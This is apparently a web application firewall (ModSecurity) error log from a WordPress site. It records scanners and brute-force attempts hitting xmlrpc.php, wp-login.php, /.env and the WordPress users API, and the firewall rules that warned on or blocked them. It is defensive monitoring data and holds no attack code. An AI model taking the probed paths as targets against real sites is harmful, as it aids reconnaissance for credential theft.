[Tue Dec 23 02:40:26.440784 2025] [:error] [pid 12110:tid 12121] [client 34.79.163.251:61426] [client 34.79.163.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.79.163.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQmgYatzD_WebWpOrmNwAAAIk"]
[Tue Dec 23 02:40:28.765673 2025] [:error] [pid 40269:tid 40345] [client 34.79.163.251:56994] [client 34.79.163.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.79.163.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQnC06Z11fTcfdsqT-3AAAARA"]
[Tue Dec 23 02:40:31.080630 2025] [:error] [pid 40361:tid 40368] [client 34.79.163.251:60836] [client 34.79.163.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.79.163.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQn-xiDEK95vL2EDr0sQAAAEU"]
[Tue Dec 23 02:40:31.080882 2025] [:error] [pid 40361:tid 40368] [client 34.79.163.251:60836] [client 34.79.163.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.79.163.251, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmQn-xiDEK95vL2EDr0sQAAAEU"]
[Tue Dec 23 02:48:54.174487 2025] [:error] [pid 40269:tid 40336] [client 195.24.236.147:56424] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUmSli06Z11fTcfdsqQCuAAAAQc"]
[Tue Dec 23 02:48:55.517059 2025] [:error] [pid 40267:tid 40288] [client 195.24.236.147:56680] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUmSl-TPWWVt2GkrftCNKQAAAA8"]
[Tue Dec 23 02:48:56.818620 2025] [:error] [pid 40267:tid 40293] [client 195.24.236.147:56955] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUmSmOTPWWVt2GkrftCNTwAAABQ"]
[Tue Dec 23 02:48:58.226790 2025] [:error] [pid 40361:tid 40387] [client 195.24.236.147:57256] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUmSmuxiDEK95vL2EDr5YgAAAFg"]
[Tue Dec 23 02:48:59.505115 2025] [:error] [pid 40269:tid 40341] [client 195.24.236.147:57517] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUmSmy06Z11fTcfdsqQDMQAAAQw"]
[Tue Dec 23 03:03:49.622614 2025] [:error] [pid 40361:tid 40382] [client 38.246.33.151:56923] [client 38.246.33.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmWFexiDEK95vL2EDoEdgAAAFM"]
[Tue Dec 23 03:03:49.622673 2025] [:error] [pid 12110:tid 12122] [client 38.246.33.151:56924] [client 38.246.33.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmWFQYatzD_WebWpOr6CQAAAIo"]
[Tue Dec 23 03:15:26.867088 2025] [:error] [pid 12110:tid 12119] [client 177.84.110.117:11509] [client 177.84.110.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.84.110.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmYzgYatzD_WebWpOoGjwAAAIc"]
[Tue Dec 23 03:22:34.523442 2025] [:error] [pid 40267:tid 40288] [client 177.84.110.117:11161] [client 177.84.110.117] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aUmaeuTPWWVt2GkrftCnhQAAAA8"]
[Tue Dec 23 03:25:50.220574 2025] [:error] [pid 40269:tid 40351] [client 177.84.110.117:11237] [client 177.84.110.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.84.110.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmbPi06Z11fTcfdsqQWuQAAARY"]
[Tue Dec 23 03:27:22.636878 2025] [:error] [pid 40268:tid 40309] [client 177.84.110.117:11281] [client 177.84.110.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.84.110.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmbmpWtCyS5tdJAiFyJmQAAAMc"]
[Tue Dec 23 03:29:06.308626 2025] [:error] [pid 12110:tid 12126] [client 177.84.110.117:11124] [client 177.84.110.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.84.110.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmcAgYatzD_WebWpOoVAgAAAI4"]
[Tue Dec 23 03:32:16.247234 2025] [:error] [pid 29523:tid 29587] [client 177.84.110.117:11447] [client 177.84.110.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.84.110.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmcwM3Iw7NRCPPao7egfwAAAAc"]
[Tue Dec 23 04:32:49.473143 2025] [:error] [pid 49061:tid 49097] [client 81.88.49.28:18249] [client 81.88.49.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.49.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmq8WRtvGWfzuDz6nQXRgAAAEU"]
[Tue Dec 23 04:32:51.512956 2025] [:error] [pid 49061:tid 49107] [client 81.88.49.28:18249] [client 81.88.49.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.49.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmq82RtvGWfzuDz6nQXSAAAAE8"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 04:36:02.497474 2025] [:error] [pid 49062:tid 49128] [client 185.150.190.222:59506] [client 185.150.190.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.150.190.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmrsv_oMXBKdV37va2OggAAAIk"]
[Tue Dec 23 04:36:04.337187 2025] [:error] [pid 49062:tid 49131] [client 185.150.190.222:59506] [client 185.150.190.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.150.190.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmrtP_oMXBKdV37va2OhAAAAIw"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 04:45:06.440452 2025] [:error] [pid 49061:tid 49109] [client 147.135.140.43:17648] [client 147.135.140.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.135.140.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmt0mRtvGWfzuDz6nQbkwAAAFE"]
[Tue Dec 23 04:45:08.309010 2025] [:error] [pid 49061:tid 49103] [client 147.135.140.43:17648] [client 147.135.140.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.135.140.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUmt1GRtvGWfzuDz6nQblwAAAEs"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 04:57:33.737171 2025] [:error] [pid 49061:tid 49101] [client 45.82.13.170:39266] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUmwvWRtvGWfzuDz6nQhNAAAAEk"]
[Tue Dec 23 05:02:57.124323 2025] [:error] [pid 49060:tid 49073] [client 68.183.24.180:44332] [client 68.183.24.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.24.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmyAfvdpPyXg0aYbMVL2wAAAAk"]
[Tue Dec 23 05:02:59.824471 2025] [:error] [pid 49062:tid 49125] [client 68.183.24.180:44336] [client 68.183.24.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.24.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmyA__oMXBKdV37va2X4gAAAIY"]
[Tue Dec 23 05:03:02.037213 2025] [:error] [pid 49061:tid 49102] [client 68.183.24.180:44344] [client 68.183.24.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.24.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUmyBmRtvGWfzuDz6nQjJwAAAEo"]
[Tue Dec 23 05:26:08.893666 2025] [:error] [pid 49061:tid 49110] [client 165.227.133.95:52651] [client 165.227.133.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.133.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm3cGRtvGWfzuDz6nQt6wAAAFI"]
[Tue Dec 23 05:26:08.897091 2025] [:error] [pid 49061:tid 49115] [client 165.227.133.95:52650] [client 165.227.133.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.133.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm3cGRtvGWfzuDz6nQt7AAAAFc"]
[Tue Dec 23 05:37:24.469573 2025] [:error] [pid 49062:tid 49137] [client 173.252.167.100:34150] [client 173.252.167.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm6FP_oMXBKdV37va2n6AAAAJI"]
[Tue Dec 23 05:37:26.473339 2025] [:error] [pid 49062:tid 49132] [client 173.252.167.100:34150] [client 173.252.167.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm6Fv_oMXBKdV37va2n7AAAAI0"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 05:38:11.782943 2025] [:error] [pid 49061:tid 49110] [client 162.19.58.166:36264] [client 162.19.58.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm6Q2RtvGWfzuDz6nQ0TAAAAFI"]
[Tue Dec 23 05:38:13.710520 2025] [:error] [pid 49061:tid 49106] [client 162.19.58.166:36264] [client 162.19.58.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm6RWRtvGWfzuDz6nQ0UQAAAE4"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 05:45:43.176879 2025] [:error] [pid 49150:tid 49176] [client 103.74.116.120:44784] [client 103.74.116.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.116.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm8B0uL91O4jNPzb4F5vQAAANg"]
[Tue Dec 23 05:45:45.515746 2025] [:error] [pid 49150:tid 49174] [client 103.74.116.120:44784] [client 103.74.116.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.116.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUm8CUuL91O4jNPzb4F5vwAAANY"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 06:07:13.664603 2025] [:error] [pid 49150:tid 49172] [client 103.117.180.206:33520] [client 103.117.180.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.117.180.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBEUuL91O4jNPzb4GKnQAAANQ"]
[Tue Dec 23 06:07:17.140487 2025] [:error] [pid 49150:tid 49174] [client 103.117.180.206:33520] [client 103.117.180.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.117.180.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBFUuL91O4jNPzb4GKoQAAANY"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 06:08:17.828454 2025] [:error] [pid 49060:tid 49081] [client 95.169.180.53:39978] [client 95.169.180.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.169.180.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBUfvdpPyXg0aYbMVnQQAAABE"]
[Tue Dec 23 06:08:19.612388 2025] [:error] [pid 49060:tid 49077] [client 95.169.180.53:39978] [client 95.169.180.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.169.180.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBU_vdpPyXg0aYbMVnRgAAAA0"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 06:08:23.254650 2025] [:error] [pid 49062:tid 49132] [client 109.234.164.79:59112] [client 109.234.164.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.164.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBV__oMXBKdV37va24HwAAAI0"]
[Tue Dec 23 06:08:24.663079 2025] [:error] [pid 49062:tid 49142] [client 109.234.164.79:59112] [client 109.234.164.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.164.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBWP_oMXBKdV37va24IgAAAJc"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 06:08:50.295486 2025] [:error] [pid 49150:tid 49167] [client 162.19.58.166:45378] [client 162.19.58.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBckuL91O4jNPzb4GLQwAAAM8"]
[Tue Dec 23 06:08:52.948864 2025] [:error] [pid 49150:tid 49173] [client 162.19.58.166:45378] [client 162.19.58.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.58.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnBdEuL91O4jNPzb4GLSwAAANU"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 06:32:39.989576 2025] [:error] [pid 49150:tid 49163] [client 38.246.33.22:59446] [client 38.246.33.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnHB0uL91O4jNPzb4GgLQAAAMs"]
[Tue Dec 23 06:32:39.990801 2025] [:error] [pid 49062:tid 49122] [client 38.246.33.22:59447] [client 38.246.33.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnHB__oMXBKdV37va3GAwAAAIM"]
[Tue Dec 23 07:16:09.195082 2025] [:error] [pid 49061:tid 49116] [client 192.250.227.60:33320] [client 192.250.227.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.227.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnROWRtvGWfzuDz6nRfrQAAAFg"]
[Tue Dec 23 07:16:11.929305 2025] [:error] [pid 49061:tid 49100] [client 192.250.227.60:33320] [client 192.250.227.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.227.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnRO2RtvGWfzuDz6nRfsQAAAEg"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 07:18:29.624134 2025] [:error] [pid 49061:tid 49097] [client 185.56.144.161:45620] [client 185.56.144.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.56.144.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnRxWRtvGWfzuDz6nRgJgAAAEU"]
[Tue Dec 23 07:18:36.368622 2025] [:error] [pid 49061:tid 49105] [client 185.56.144.161:45620] [client 185.56.144.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.56.144.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnRzGRtvGWfzuDz6nRgKAAAAE0"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 07:20:51.269091 2025] [:error] [pid 49062:tid 49122] [client 198.71.52.204:38948] [client 198.71.52.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.71.52.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnSU__oMXBKdV37va3cawAAAIM"]
[Tue Dec 23 07:24:48.449594 2025] [:error] [pid 49062:tid 49128] [client 103.74.116.120:43478] [client 103.74.116.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.116.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnTQP_oMXBKdV37va3dyAAAAIk"]
[Tue Dec 23 07:35:32.772439 2025] [:error] [pid 49062:tid 49132] [client 95.169.180.53:45704] [client 95.169.180.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.169.180.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnVxP_oMXBKdV37va3hQgAAAI0"]
[Tue Dec 23 07:35:35.205564 2025] [:error] [pid 49062:tid 49129] [client 95.169.180.53:45704] [client 95.169.180.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.169.180.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnVx__oMXBKdV37va3hRwAAAIo"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 07:35:37.564498 2025] [:error] [pid 49061:tid 49094] [client 45.82.13.170:36822] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aUnVyWRtvGWfzuDz6nRmKwAAAEI"]
[Tue Dec 23 07:35:37.900461 2025] [:error] [pid 49062:tid 49138] [client 45.82.13.170:47228] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aUnVyf_oMXBKdV37va3hSAAAAJM"]
[Tue Dec 23 08:06:58.724686 2025] [:error] [pid 49060:tid 49082] [client 159.65.87.245:55426] [client 159.65.87.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.87.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUndIvvdpPyXg0aYbMWR5gAAABI"]
[Tue Dec 23 08:07:00.827624 2025] [:error] [pid 49060:tid 49075] [client 159.65.87.245:55426] [client 159.65.87.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.87.245, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUndJPvdpPyXg0aYbMWR6wAAAAs"], referer: https://gigfragments.org/wp-login.php
